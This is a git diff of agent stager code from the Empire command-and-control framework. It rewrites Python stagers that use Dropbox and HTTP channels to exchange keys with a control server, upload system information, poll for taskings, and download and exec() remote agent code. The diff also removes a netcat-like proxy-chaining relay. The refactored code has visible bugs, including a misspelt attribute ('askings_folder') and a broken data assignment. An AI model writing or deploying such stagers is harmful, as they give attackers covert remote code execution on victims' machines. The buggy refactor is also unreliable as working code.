addrspec[0]: - self.__sock = _orgsocket( - socket.AF_INET6, - self.__type, - self.__proto, - *self.__args, - **self.__kwargs - ) - self.__settimeout(DEFAULT_TIMEOUT) - return self.__sock.connect(addrspec) - else: - try: - self.__sock = _orgsocket( - socket.AF_INET, - self.__type, - self.__proto, - *self.__args, - **self.__kwargs - ) - self.__settimeout(DEFAULT_TIMEOUT) - return self.__sock.connect(addrspec) - except socket.gaierror: - self.__sock = _orgsocket( - socket.AF_INET6, - self.__type, - self.__proto, - *self.__args, - **self.__kwargs - ) - self.__settimeout(DEFAULT_TIMEOUT) - return self.__sock.connect(addrspec) - - def connect(self, destpair): - """connect(self, despair) - Connects to the specified destination through a chain of proxies. - destpar - A tuple of the IP/DNS address and the port number. - (identical to socket's connect). - To select the proxy servers use setproxy() and chainproxy(). - """ - if DEBUG: - DEBUG("*** Connect: %s / %s" % (destpair, self.__proxy)) - destpair = getattr(_thread_locals, "create_conn", destpair) - - # Do a minimal input check first - if ( - (not type(destpair) in (list, tuple)) - or (len(destpair) < 2) - or (type(destpair[0]) != type("")) - or (type(destpair[1]) != int) - ): - raise GeneralProxyError((5, _generalerrors[5])) - - if self.__proxy: - proxy_chain = self.__proxy - default_dest = destpair[0] - else: - proxy_chain = self.__default_route(destpair[0]) - default_dest = DEFAULT_ROUTE - - for proxy in proxy_chain: - if (proxy[P_TYPE] or PROXY_TYPE_NONE) not in PROXY_DEFAULTS: - raise GeneralProxyError((4, _generalerrors[4])) - - chain = proxy_chain[:] - chain.append([PROXY_TYPE_NONE, destpair[0], destpair[1]]) - if DEBUG: - DEBUG("*** Chain: %s" % (chain,)) - - first = True - result = None - while chain: - proxy = chain.pop(0) - - if proxy[P_TYPE] == PROXY_TYPE_DEFAULT: - chain[0:0] = self.__default_route(default_dest) - if DEBUG: - DEBUG("*** Chain: %s" % chain) - continue - - if proxy[P_PORT] != None: - portnum = proxy[P_PORT] - else: - portnum = PROXY_DEFAULTS[proxy[P_TYPE] or PROXY_TYPE_NONE] - - if first and proxy[P_HOST]: - if DEBUG: - DEBUG("*** Connect: %s:%s" % (proxy[P_HOST], portnum)) - result = self.__do_connect((proxy[P_HOST], portnum)) - - if chain: - nexthop = (chain[0][P_HOST] or "", int(chain[0][P_PORT] or 0)) - - if proxy[P_TYPE] in PROXY_SSL_TYPES: - if DEBUG: - DEBUG("*** TLS/SSL Setup: %s" % (nexthop,)) - self.__negotiatessl( - nexthop[0], - nexthop[1], - proxy, - weak=(proxy[P_TYPE] == PROXY_TYPE_SSL_WEAK), - anonymous=(proxy[P_TYPE] == PROXY_TYPE_SSL_ANON), - ) - - if proxy[P_TYPE] in PROXY_HTTPC_TYPES: - if DEBUG: - DEBUG("*** HTTP CONNECT: %s" % (nexthop,)) - self.__negotiatehttpconnect(nexthop[0], nexthop[1], proxy) - - elif proxy[P_TYPE] in PROXY_HTTP_TYPES: - if len(chain) > 1: - # Chaining requires HTTP CONNECT. - if DEBUG: - DEBUG("*** HTTP CONNECT: %s" % (nexthop,)) - self.__negotiatehttpconnect(nexthop[0], nexthop[1], proxy) - else: - # If we are last in the chain, do transparent magic. - if DEBUG: - DEBUG("*** HTTP PROXY: %s" % (nexthop,)) - self.__negotiatehttp(nexthop[0], nexthop[1], proxy) - - if proxy[P_TYPE] in PROXY_SOCKS5_TYPES: - if DEBUG: - DEBUG("*** SOCKS5: %s" % (nexthop,)) - self.__negotiatesocks5(nexthop[0], nexthop[1], proxy) - - elif proxy[P_TYPE] == PROXY_TYPE_SOCKS4: - if DEBUG: - DEBUG("*** SOCKS4: %s" % (nexthop,)) - self.__negotiatesocks4(nexthop[0], nexthop[1], proxy) - - elif proxy[P_TYPE] == PROXY_TYPE_NONE: - if first and nexthop[0] and nexthop[1]: - if DEBUG: - DEBUG("*** Connect: %s:%s" % nexthop) - result = self.__do_connect(nexthop) - else: - raise GeneralProxyError((4, _generalerrors[4])) - - first = False - - if DEBUG: - DEBUG("*** Connected! (%s)" % result) - return result - - -def wrapmodule(module): - """wrapmodule(module) - Attempts to replace a module's socket library with a SOCKS socket. - This will only work on modules that import socket directly into the - namespace; most of the Python Standard Library falls into this category. - """ - module.socket.socket = socksocket - module.socket.create_connection = sockcreateconn - if DEBUG: - DEBUG("Wrapped: %s" % module.__name__) - - -## Netcat-like proxy-chaining tools follow ## - - -def netcat(s, i, o, keep_open=""): - if hasattr(o, "buffer"): - o = o.buffer - try: - in_fileno = i.fileno() - isel = [s, i] - obuf, sbuf, oselo, osels = [], [], [], [] - while isel: - in_r, out_r, err_r = select.select(isel, oselo + osels, isel, 1000) - - # print 'In:%s Out:%s Err:%s' % (in_r, out_r, err_r) - if s in in_r: - obuf.append(s.recv(4096)) - oselo = [o] - if len(obuf[-1]) == 0: - if DEBUG: - DEBUG("EOF(s, in)") - isel.remove(s) - - if o in out_r: - o.write(obuf[0]) - if len(obuf) == 1: - if len(obuf[0]) == 0: - if DEBUG: - DEBUG("CLOSE(o)") - o.close() - if i in isel and "i" not in keep_open: - isel.remove(i) - i.close() - else: - o.flush() - obuf, oselo = [], [] - else: - obuf.pop(0) - - if i in in_r: - sbuf.append(os.read(in_fileno, 4096)) - osels = [s] - if len(sbuf[-1]) == 0: - if DEBUG: - DEBUG("EOF(i)") - isel.remove(i) - - if s in out_r: - s.send(sbuf[0]) - if len(sbuf) == 1: - if len(sbuf[0]) == 0: - if s in isel and "s" not in keep_open: - if DEBUG: - DEBUG("CLOSE(s)") - isel.remove(s) - s.close() - else: - if DEBUG: - DEBUG("SHUTDOWN(s, WR)") - s.shutdown(socket.SHUT_WR) - sbuf, osels = [], [] - else: - sbuf.pop(0) - - for data in sbuf: - s.sendall(data) - for data in obuf: - o.write(data) - - except Exception: - if DEBUG: - DEBUG("Disconnected: %s" % (sys.exc_info(),)) - - i.close() - s.close() - o.close() - - -def __proxy_connect_netcat(hostname, port, chain, keep_open): - try: - s = socksocket(socket.AF_INET, socket.SOCK_STREAM) - for proxy in chain: - s.addproxy(*proxy) - s.connect((hostname, port)) - except Exception: - sys.stderr.write("Error: %s\n" % (sys.exc_info(),)) - return False - netcat(s, sys.stdin, sys.stdout, keep_open) - return True - - -def __make_proxy_chain(args): - chain = [] - for arg in args: - chain.append(parseproxy(arg)) - return chain - - -def DebugPrint(text): - print(text) diff --git a/empire/server/data/agent/stagers/dropbox/comms.py b/empire/server/data/agent/stagers/dropbox/comms.py index b2e20b8e9..796c04ca3 100644 --- a/empire/server/data/agent/stagers/dropbox/comms.py +++ b/empire/server/data/agent/stagers/dropbox/comms.py @@ -1,83 +1,106 @@ -def send_message(packets=None): - # Requests a tasking or posts data to a randomized tasking URI. - # If packets == None, the agent GETs a tasking from the control server. - # If packets != None, the agent encrypts the passed packets and - # POSTs the data to the control server. - global missedCheckins - global headers - taskingsFolder = "{{ taskings_folder }}" - resultsFolder = "{{ results_folder }}" - data = None - requestUri = "" - try: - del headers["Content-Type"] - except Exception: - pass - - if packets: - # aes_encrypt_then_hmac is in stager.py - encData = aes_encrypt_then_hmac(key, packets) - data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) - # check to see if there are any results already present - - headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (resultsFolder, sessionID) +import base64 +import random +import sys +import urllib +import urllib.request + +class ExtendedPacketHandler(PacketHandler): + def __init__(self, agent, staging_key, session_id, headers, server, taskings_folder, results_folder, key=None): + super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key) + self.headers = headers + self.server = server + self.taskings_folder = taskings_folder + self.results_folder = results_folder + + def send_message(self, packets=None): + # Requests a tasking or posts data to a randomized tasking URI. + # If packets == None, the agent GETs a tasking from the control server. + # If packets != None, the agent encrypts the passed packets and + # POSTs the data to the control server. + self.taskings_folder = "{{ taskings_folder }}" + self.results_folder = "{{ results_folder }}" + data = None try: - pkdata = post_message( - "https://content.dropboxapi.com/2/files/download", - data=None, - headers=headers, - ) + del self.headers["Content-Type"] except Exception: - pkdata = None - - if pkdata and len(pkdata) > 0: - data = pkdata + data - - headers["Content-Type"] = "application/octet-stream" - requestUri = "https://content.dropboxapi.com/2/files/upload" - else: - headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % ( - taskingsFolder, - sessionID, - ) - requestUri = "https://content.dropboxapi.com/2/files/download" - - try: - resultdata = post_message(requestUri, data, headers) - if (resultdata and len(resultdata) > 0) and requestUri.endswith("download"): - headers["Content-Type"] = "application/json" - del headers["Dropbox-API-Arg"] - datastring = '{"path":"%s/%s.txt"}' % (taskingsFolder, sessionID) - nothing = post_message( - "https://api.dropboxapi.com/2/files/delete_v2", datastring, headers + pass + + if packets: + # aes_encrypt_then_hmac is in stager.py + enc_data = aes_encrypt_then_hmac(self.key, packets) + data = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=enc_data) + # check to see if there are any results already present + + self.headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (self.results_folder, self.session_id) + + try: + pkdata = self.post_message( + "https://content.dropboxapi.com/2/files/download", + data=None, + headers=self.headers, + ) + except Exception: + pkdata = None + + if pkdata and len(pkdata) > 0: + data = pkdata + data + + self.headers["Content-Type"] = "application/octet-stream" + request_uri = "https://content.dropboxapi.com/2/files/upload" + else: + self.headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % ( + self.taskings_folder, + self.session_id ) + request_uri = "https://content.dropboxapi.com/2/files/download" - return ("200", resultdata) + try: + result_data = self.post_message(request_uri, data, self.headers) + if (result_data and len(result_data) > 0) and request_uri.endswith("download"): + self.headers["Content-Type"] = "application/json" + del self.headers["Dropbox-API-Arg"] + data_string = '{"path":"%s/%s.txt"}' % (self.askings_folder, self.session_id) + nothing = self.post_message( + "https://api.dropboxapi.com/2/files/delete_v2", data_string, self.headers + ) - except urllib.request.Request.HTTPError as HTTPError: - # if the server is reached, but returns an error (like 404) - return (HTTPError.code, "") + return ("200", result_data) - except urllib.request.Request.URLError as URLerror: - # if the server cannot be reached - missedCheckins = missedCheckins + 1 - return (URLerror.reason, "") + except urllib.request.Request.HTTPError as HTTPError: + # if the server is reached, but returns an error (like 404) + return (HTTPError.code, "") - return ("", "") + except urllib.request.Request.URLError as URLerror: + # if the server cannot be reached + self.missedCheckins = self.missedCheckins + 1 + return (URLerror.reason, "") + return ("", "") + + def post_message(self, uri, data=None): + try: + print("Sending request to:", uri) + print("Headers:", self.headers) + print("Data:", data) -def post_message(uri, data): - global headers - req = urllib.request.Request(uri) - for key, value in headers.items(): - req.add_header("%s" % (key), "%s" % (value)) + req = urllib.request.Request(uri) + for key, value in self.headers.items(): + req.add_header("%s" % (key), "%s" % (value)) - if data: - req.add_data(data) + if data: + req.add_data = data - o = urllib.request.build_opener() - o.add_handler(urllib.request.ProxyHandler(urllib.request.getproxies())) - urllib.request.install_opener(o) + proxy = urllib.request.ProxyHandler() + o = urllib.request.build_opener(proxy) + urllib.request.install_opener(o) + return urllib.request.urlopen(req).read() - return urllib.request.urlopen(req).read() + except urllib.error.HTTPError as e: + print("HTTP Error:", e.code, e.reason) + print("Headers:", e.headers) + return None + except Exception as e: + print("Error:") + print(e) + return None diff --git a/empire/server/data/agent/stagers/dropbox/dropbox.py b/empire/server/data/agent/stagers/dropbox/dropbox.py index 00e99e5a8..992836d1b 100644 --- a/empire/server/data/agent/stagers/dropbox/dropbox.py +++ b/empire/server/data/agent/stagers/dropbox/dropbox.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 """ This file is a Jinja2 template. @@ -13,7 +13,6 @@ import random import string import time -import urllib.request {% include 'common/rc4.py' %} {% include 'common/aes.py' %} @@ -21,101 +20,106 @@ {% include 'common/get_sysinfo.py' %} {% include 'dropbox/comms.py' %} -# server configuration information -stagingFolder = "{{ staging_folder }}" -stagingKey = "{{ staging_key }}" -profile = "{{ profile }}" -pollInterval = int("{{ poll_interval }}") -# note that this doesn't need the quotes (can just sub an int directly in) but -# having the quotes lets you run tools like pylint without syntax errors -t = "{{ api_token }}" - -# generate a randomized sessionID -sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8)) - -parts = profile.split('|') -taskURIs = parts[0].split(',') -userAgent = parts[1] -headersRaw = parts[2:] - -# global header dictionary -# sessionID is set by stager.py -# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} -headers = {'User-Agent': userAgent} - -# parse the headers into the global header dictionary -for headerRaw in headersRaw: - try: - headerKey = headerRaw.split(":")[0] - headerValue = headerRaw.split(":")[1] - if headerKey.lower() == "cookie": - headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue) - else: - headers[headerKey] = headerValue - except Exception: - pass - -headers['Authorization'] = "Bearer %s" % (t) -headers['Content-Type'] = "application/octet-stream" -headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_1.txt\"}" % (stagingFolder, sessionID) - -# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server -clientPub = DiffieHellman() -hmacData = aes_encrypt_then_hmac(stagingKey, str(clientPub.publicKey)) - -# RC4 routing packet: -# meta = STAGE1 (2) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData) - -try: - # response = post_message(postURI, routingPacket+hmacData) - response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket) -except Exception: - exit() - -#(urllib2.urlopen(urllib2.Request(uri, data, headers))).read() -time.sleep(pollInterval * 2) -try: - del headers['Content-Type'] - headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_2.txt\"}" % (stagingFolder, sessionID) - raw = post_message("https://content.dropboxapi.com/2/files/download", data=None) -except Exception: - exit() -# decrypt the server's public key and the server nonce -packet = aes_decrypt_and_verify(stagingKey, raw) -nonce = packet[0:16] -serverPub = int(packet[16:]) - -# calculate the shared secret -clientPub.genKey(serverPub) -key = clientPub.key - -# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) -hmacData = aes_encrypt_then_hmac(clientPub.key, get_sysinfo(nonce=str(int(nonce)+1))) - -# RC4 routing packet: -# sessionID = sessionID -# language = PYTHON (2) -# meta = STAGE2 (3) -# extra = 0 -# length = len(length) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData) -headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_3.txt\"}" % (stagingFolder, sessionID) -headers['Content-Type'] = "application/octet-stream" -time.sleep(pollInterval * 2) -response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket) - -time.sleep(pollInterval * 2) -headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID) -del headers['Content-Type'] -raw = post_message("https://content.dropboxapi.com/2/files/download", data=None) - -time.sleep(pollInterval) -del headers['Dropbox-API-Arg'] -headers['Content-Type'] = "application/json" -datastring = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID) -response = post_message("https://api.dropboxapi.com/2/files/delete_v2", data=datastring) - -# step 6 -> server sends HMAC(AES) -agent = aes_decrypt_and_verify(key, raw) -exec(agent) +class Stage: + def __init__(self): + self.staging_key = b'{{ staging_key }}' + self.profile = '{{ profile }}' + self.staging_folder = '{{ staging_folder }}' + self.taskings_folder = '{{ taskings_folder }}' + self.api_token = '{{ api_token }}' + self.results_folder = '{{ results_folder }}' + self.poll_interval = int('{{ poll_interval }}') + self.server='https://content.dropboxapi.com/2/files/download' + self.session_id = self.generate_session_id() + self.headers = self.initialize_headers(self.profile) + self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, server=self.server, headers=self.headers, taskings_folder=self.taskings_folder, results_folder=self.results_folder) + + @staticmethod + def generate_session_id(): + return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) + + def initialize_headers(self, profile): + parts = profile.split('|') + user_agent = parts[1] + headers_raw = parts[2:] + headers = {'User-Agent': user_agent} + for header_raw in headers_raw: + try: + header_key, header_value = header_raw.split(":") + headers[header_key] = header_value + except Exception: + pass + headers['Authorization'] = "Bearer %s" % (self.api_token) + headers['Content-Type'] = "application/octet-stream" + return headers + + def execute(self): + # Diffie-Hellman Key Exchange + client_pub = DiffieHellman() + public_key = str(client_pub.publicKey).encode('UTF-8') + hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key) + + # Build and Send Routing Packet + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data) + try: + response = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/upload", routing_packet) + except Exception as e: + print("Error 1:)") + print(e) + exit() + + # (urllib2.urlopen(urllib2.Request(uri, data, headers))).read() + time.sleep(self.poll_interval * 2) + try: + del self.headers['Content-Type'] + self.headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_2.txt\"}" % (self.staging_folder, self.session_id) + raw = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/download", data=None) + except Exception as e: + print("Error 2:)") + print(e) + # decrypt the server's public key and the server nonce + packet = aes_decrypt_and_verify(self.staging_key, raw) + nonce, server_pub = packet[0:16], int(packet[16:]) + + # calculate the shared secret + client_pub.genKey(server_pub) + self.key = client_pub.key + self.packet_handler.key = self.key + + # step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) + hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8')) + + # RC4 routing packet: + # sessionID = sessionID + # language = PYTHON (2) + # meta = STAGE2 (3) + # extra = 0 + # length = len(length) + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data) + self.headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_3.txt\"}" % (self.staging_folder, self.session_id) + self.headers['Content-Type'] = "application/octet-stream" + time.sleep(self.poll_interval * 2) + response = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/upload", routing_packet) + + time.sleep(self.poll_interval * 2) + self.headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_4.txt\"}" % (self.staging_folder, self.session_id) + del self.headers['Content-Type'] + raw = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/download", data=None) + + time.sleep(self.poll_interval) + del self.headers['Dropbox-API-Arg'] + self.headers['Content-Type'] = "application/json" + data_string = "{\"path\":\"%s/%s_4.txt\"}" % (self.staging_folder, self.session_id) + response = self.packet_handler.post_message("https://api.dropboxapi.com/2/files/delete_v2", data=data_string) + + # step 6 -> server sends HMAC(AES) + agent_code = aes_decrypt_and_verify(self.key, raw) + exec(agent_code, globals()) + agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, + session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours) + self.packet_handler.agent = agent + agent.run() + +# Initialize and Execute Agent +stage = Stage() +stage.execute() diff --git a/empire/server/data/agent/stagers/http/comms.py b/empire/server/data/agent/stagers/http/comms.py index 10c11b56f..d08504b79 100644 --- a/empire/server/data/agent/stagers/http/comms.py +++ b/empire/server/data/agent/stagers/http/comms.py @@ -1,95 +1,85 @@ -def post_message(uri, data): - global headers - return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read() - - -def update_proxychain(proxy_list): - setdefaultproxy() # Clear the default chain - - for proxy in proxy_list: - addproxy(proxytype=proxy['proxytype'], addr=proxy['addr'], port=proxy['port']) - - -def send_results_for_child(received_data): - """ - Forwards the results of a tasking to the control server. - """ - headers['Cookie'] = "session=%s" % (received_data[1:]) - taskURI = random.sample(taskURIs, 1)[0] - requestUri = server + taskURI - response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, headers))).read() - return response - - -def send_get_tasking_for_child(received_data): - """ - Forwards the get tasking to the control server. - """ - decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) - taskURI = random.sample(taskURIs, 1)[0] - requestUri = server + taskURI - response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, headers))).read() - return response - - -def send_staging_for_child(received_data, hop_name): - """ - Forwards the staging request to the control server. - """ - postURI = server + "/login/process.php" - headers['Hop-Name'] = hop_name - decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) - response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, headers))).read() - return response - - -def send_message(packets=None): - # Requests a tasking or posts data to a randomized tasking URI. - # If packets == None, the agent GETs a tasking from the control server. - # If packets != None, the agent encrypts the passed packets and - # POSTs the data to the control server. - global missedCheckins - global server - global headers - global taskURIs - data = None - if packets: - # aes_encrypt_then_hmac is in stager.py - encData = aes_encrypt_then_hmac(key, packets) - data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) - - else: - # if we're GETing taskings, then build the routing packet to stuff info a cookie first. - # meta TASKING_REQUEST = 4 - routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) - b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') - headers['Cookie'] = "{{ session_cookie }}session=%s" % (b64routingPacket) - taskURI = random.sample(taskURIs, 1)[0] - requestUri = server + taskURI - - try: - if proxy_list: - wrapmodule(urllib.request) - data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, headers))).read() - return ('200', data) - - except urllib.request.HTTPError as HTTPError: - # if the server is reached, but returns an error (like 404) - missedCheckins = missedCheckins + 1 - # if signaled for restaging, exit. - if HTTPError.code == 401: - sys.exit(0) - - return (HTTPError.code, '') - - except urllib.request.URLError as URLerror: - # if the server cannot be reached - missedCheckins = missedCheckins + 1 - return (URLerror.reason, '') - return ('', '') - - -# update servers -server = '{{ host }}' -if server.startswith("https"): - hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None +import base64 +import random +import sys +import urllib + + +class ExtendedPacketHandler(PacketHandler): + def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None): + super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key) + self.headers = headers + self.taskURIs = taskURIs + self.server = server + + def post_message(self, uri, data): + return (urllib.request.urlopen(urllib.request.Request(uri, data, self.headers))).read() + + def send_results_for_child(self, received_data): + """ + Forwards the results of a tasking to the control server. + """ + self.headers['Cookie'] = "session=%s" % (received_data[1:]) + taskURI = random.sample(self.taskURIs, 1)[0] + requestUri = self.server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, self.headers))).read() + return response + + def send_get_tasking_for_child(self, received_data): + """ + Forwards the get tasking to the control server. + """ + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + taskURI = random.sample(self.taskURIs, 1)[0] + requestUri = self.server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, self.headers))).read() + return response + + def send_staging_for_child(self, received_data, hop_name): + """ + Forwards the staging request to the control server. + """ + postURI = self.server + "/login/process.php" + self.headers['Hop-Name'] = hop_name + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, self.headers))).read() + return response + + def send_message(self, packets=None): + # Requests a tasking or posts data to a randomized tasking URI. + # If packets == None, the agent GETs a tasking from the control server. + # If packets != None, the agent encrypts the passed packets and + # POSTs the data to the control server. + data = None + + if packets: + # aes_encrypt_then_hmac is in stager.py + enc_data = aes_encrypt_then_hmac(self.key, packets) + data = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=enc_data) + + else: + # if we're GETing taskings, then build the routing packet to stuff info a cookie first. + # meta TASKING_REQUEST = 4 + routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=4) + b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') + self.headers['Cookie'] = "{{ session_cookie }}session=%s" % (b64routingPacket) + taskURI = random.sample(self.taskURIs, 1)[0] + requestUri = self.server + taskURI + + try: + data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, self.headers))).read() + return ('200', data) + + except urllib.request.HTTPError as HTTPError: + # if the server is reached, but returns an error (like 404) + self.missedCheckins += 1 + # if signaled for restaging, exit. + if HTTPError.code == 401: + sys.exit(0) + + return (HTTPError.code, '') + + except urllib.request.URLError as URLerror: + # if the server cannot be reached + self.missedCheckins += 1 + return (URLerror.reason, '') + return ('', '') diff --git a/empire/server/data/agent/stagers/http/http.py b/empire/server/data/agent/stagers/http/http.py index 33e8e8353..0363d31f4 100644 --- a/empire/server/data/agent/stagers/http/http.py +++ b/empire/server/data/agent/stagers/http/http.py @@ -13,94 +13,80 @@ import string import urllib.request -{% include 'common/rc4.py' %} {% include 'common/aes.py' %} +{% include 'common/rc4.py' %} {% include 'common/diffiehellman.py' %} {% include 'common/get_sysinfo.py' %} -{% include 'common/sockschain.py' %} {% include 'http/comms.py' %} -def post_message(uri, data): - global headers - return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read() - -# generate a randomized sessionID -sessionID = b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) - -# server configuration information -stagingKey = b'{{ staging_key }}' -profile = '{{ profile }}' -WorkingHours = '{{ working_hours }}' -KillDate = '{{ kill_date }}' - -parts = profile.split('|') -taskURIs = parts[0].split(',') -userAgent = parts[1] -headersRaw = parts[2:] - -# global header dictionary -# sessionID is set by stager.py -# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} -headers = {'User-Agent': userAgent} -try: - headers['Hop-Name'] = hop -except: - pass - -# parse the headers into the global header dictionary -for headerRaw in headersRaw: - try: - headerKey = headerRaw.split(":")[0] - headerValue = headerRaw.split(":")[1] - if headerKey.lower() == "cookie": - headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue) - else: - headers[headerKey] = headerValue - except Exception: - pass - -# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server -clientPub=DiffieHellman() -public_key = str(clientPub.publicKey).encode('UTF-8') -hmacData=aes_encrypt_then_hmac(stagingKey,public_key) - -# RC4 routing packet: -# meta = STAGE1 (2) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData) - -try: - postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}" - # response = post_message(postURI, routingPacket+hmacData) - response = post_message(postURI, routingPacket) -except Exception: - exit() - -# decrypt the server's public key and the server nonce -packet = aes_decrypt_and_verify(stagingKey, response) -nonce = packet[0:16] -serverPub = int(packet[16:]) - -# calculate the shared secret -clientPub.genKey(serverPub) -key = clientPub.key - -# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) -postURI = server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}" -hmacData = aes_encrypt_then_hmac(key, get_sysinfo(nonce=str(int(nonce)+1)).encode('UTF-8')) - -# RC4 routing packet: -# sessionID = sessionID -# language = PYTHON (2) -# meta = STAGE2 (3) -# extra = 0 -# length = len(length) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData) - -response = post_message(postURI, routingPacket) - -# step 6 -> server sends HMAC(AES) -agent = aes_decrypt_and_verify(key, response) -agent = agent.replace('{{ working_hours }}', WorkingHours) -agent = agent.replace('{{ kill_date }}', KillDate) - -exec(agent) + +class Stage: + def __init__(self): + self.staging_key = b'{{ staging_key }}' + self.profile = '{{ profile }}' + self.server = '{{ host }}' + self.kill_date = '{{ kill_date }}' + self.working_hours = '{{ working_hours }}' + + if self.server.startswith("https"): + hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None + + self.session_id = self.generate_session_id() + self.key = None + self.headers = self.initialize_headers(self.profile) + self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, headers=self.headers, server=self.server, taskURIs=self.taskURIs) + + @staticmethod + def generate_session_id(): + return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) + + def initialize_headers(self, profile): + parts = profile.split('|') + self.taskURIs = parts[0].split(',') + userAgent = parts[1] + headersRaw = parts[2:] + headers = {'User-Agent': userAgent} + for headerRaw in headersRaw: + try: + headerKey, headerValue = headerRaw.split(":") + headers[headerKey] = headerValue + except Exception: + pass + return headers + + def execute(self): + # Diffie-Hellman Key Exchange + client_pub = DiffieHellman() + public_key = str(client_pub.publicKey).encode('UTF-8') + hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key) + + # Build and Send Routing Packet + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data) + post_uri = self.server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}" + response = self.packet_handler.post_message(post_uri, routing_packet) + + # Decrypt Server Response + packet = aes_decrypt_and_verify(self.staging_key, response) + nonce, server_pub = packet[0:16], int(packet[16:]) + + # Generate Shared Secret + client_pub.genKey(server_pub) + self.key = client_pub.key + self.packet_handler.key = self.key + + # Send System Info + post_uri = self.server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}" + hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8')) + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data) + response = self.packet_handler.post_message(post_uri, routing_packet) + + # Decrypt and Execute Agent + agent_code = aes_decrypt_and_verify(self.key, response) + exec(agent_code, globals()) + agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours) + self.packet_handler.agent = agent + agent.run() + +# Initialize and Execute Agent +stage = Stage() +stage.execute() diff --git a/empire/server/data/agent/stagers/http_malleable/http_malleable.py b/empire/server/data/agent/stagers/http_malleable/http_malleable.py index 4b437554d..b36a7022c 100644 --- 